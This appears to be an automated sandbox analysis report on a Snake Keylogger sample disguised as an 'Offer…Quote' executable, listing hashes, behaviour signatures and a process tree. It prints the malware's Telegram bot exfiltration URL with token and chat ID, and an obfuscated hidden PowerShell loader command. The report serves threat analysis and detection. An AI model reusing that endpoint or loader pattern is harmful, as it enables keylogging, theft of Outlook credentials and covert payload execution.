Analysis
-
max time kernel
144s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
06-11-2024 12:35
General
-
Target
Offer-7839373637-8839373-Quote8992832.exe
-
Size
767KB
-
MD5
21a5378b2c78f66fff23ec764cba65f2
-
SHA1
94e2921a8a2e47611c936235b5ba03feecf00fff
-
SHA256
b23119bb95d44f50e52555f51c9931389d3d559b9f74e34041e9fa6bc2b7f481
-
SHA512
885aaec0dea4fbf8d46da71bb34f776a8f212e99bf7da7082ef312a1936d46d5b59327c5650a50582df474cae7174dfafe3fa606876d218501f02cd3a25e05d0
-
SSDEEP
12288:bMwhYlU9blucsKZ1XjfCTD/qp0xmk9qPARcQFY9fcNLqH66cOsFoTvGU5ZqLm:bMwhY+9blYKPGZx0PARxFWfcFqal/F4X
Malware Config
Extracted
snakekeylogger
https://api.telegram.org/bot7602241848:AAGOG1RAiVBKad-IMDgRf04J_SQO8x6g-hI/sendMessage?chat_id=5302361040
Signatures
-
Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
-
Snake Keylogger payload 2 IoCs
-
Snakekeylogger family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
-
Blocklisted process makes network request 4 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Drops file in Program Files directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Suspicious behavior: EnumeratesProcesses 11 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 23 IoCs
-
Suspicious use of WriteProcessMemory 7 IoCs
-
outlook_office_path 1 IoCs
-
outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Offer-7839373637-8839373-Quote8992832.exe"C:\Users\Admin\AppData\Local\Temp\Offer-7839373637-8839373-Quote8992832.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Electricizes=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\haandbog\Saganashes.Com';$Forbudsbestemmelses=$Electricizes.SubString(52619,3);.$Forbudsbestemmelses($Electricizes)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
307KB
MD51bed7803db687e44713436a3b1bfa9e7
SHA14b3780aac93d35e522adce172a3d2d84c8d471f4
SHA256ca6d0e27587fce2950cba487f154c9c47e2c668dbeee96328eb439a08febf664
SHA512dece7d3399b5fb0fca591eb8588cb1a3bd340019db3e376cd321bbfe6993c330af7171602758a20b268bb8572688d1270fe8b2f3f09fc22f72715868d237528a
-
Filesize
51KB
MD586971efe48eae4401b734e86152c12aa
SHA193376b7df5fa9f5d363e263dd898b86e42e40ec0
SHA2568e626d6dc0bb24ed272eaec732b70f81e306c38eba28df9e96ce78d61a75e455
SHA512a04489dfa81e2fe20f1a8f07c562ed4a05f85b74d5745d6cb712252a46f997a7de6c9f11c3fa902c7c7b03f6ff8596e89e064c251b6a348dfb0d3b7ff6a02455
-
Filesize
1KB
MD5ac6cf0d383d5a5cf00d202d6845b9df5
SHA1da982afcefc3e81890cfb787bb33fca8090210a1
SHA256079fe43cfe9b1bec2a9ada493f8c2a950d58b42fc66565c674b0bcae99c421dc
SHA512eed84e040413aa6c0d06dfa16f6fed2f6640089ae87ad4d895ecd17dd3324bb443073f6d1910a28e849df0dae5102c97751ee5a093035bdea576a3a625c1510f
-
Filesize
4KB
-
Filesize
216KB
-
Filesize
6.2MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
3.3MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
600KB
-
Filesize
104KB
-
Filesize
136KB
-
Filesize
5.6MB
-
Filesize
6.5MB
-
Filesize
200KB
-
Filesize
7.7MB
-
Filesize
120KB
-
Filesize
7.7MB
-
Filesize
3.3MB
-
Filesize
304KB
-
Filesize
652KB
-
Filesize
40KB
-
Filesize
168KB
-
Filesize
144KB
-
Filesize
7.7MB
-
Filesize
4KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
56.9MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
152KB
-
Filesize
624KB
-
Filesize
18.3MB
-
Filesize
320KB
-
Filesize
1.8MB
-
Filesize
584KB
-
Filesize
40KB